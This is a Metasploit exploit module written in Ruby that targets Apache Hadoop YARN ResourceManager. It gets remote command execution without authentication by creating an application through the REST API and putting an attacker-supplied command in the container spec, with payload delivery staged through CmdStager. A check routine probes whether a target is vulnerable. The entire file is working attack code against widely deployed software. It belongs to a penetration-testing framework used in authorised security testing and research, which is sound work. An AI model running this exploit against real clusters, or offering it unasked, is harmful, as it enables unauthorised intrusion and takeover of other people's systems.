##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Hadoop YARN ResourceManager Unauthenticated Command Execution',
      'Description'    => %q{
          This module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'cbmixx',                            # Proof of concept
          'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
        ],
      'References'     =>
        [
          ['URL', 'http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf'],
          ['URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn']
        ],
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          ['Automatic', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 19 2016',
      'DefaultTarget'  => 0
    ))

    register_options([Opt::RPORT(8088)])
  end

  def check
    begin
      res = send_request_cgi(
        'uri'    => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'),
        'method' => 'POST'
      )
    rescue Rex::ConnectionError
      vprint_error("#{peer} - Connection failed")
      return CheckCode::Unknown
    end

    if res && res.code == 200 && res.body.include?('application-id')
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def exploit
    print_status('Sending Command')
    execute_cmdstager
  end

  def execute_command(cmd, opts = {})
    res = send_request_cgi(
      'uri'    => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'),
      'method' => 'POST'
    )

    app_id = res.get_json_document['application-id']

    post = {
      'application-id'    => app_id,
      'application-name'  => Rex::Text.rand_text_alpha_lower(4..12),
      'application-type'  => 'YARN',
      'am-container-spec' => {
        'commands'        => {'command' => cmd.to_s}
      }
    }

    send_request_cgi(
      'uri'    => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'),
      'method' => 'POST',
      'ctype'  => 'application/json',
      'data'   => post.to_json
    )
  end

end
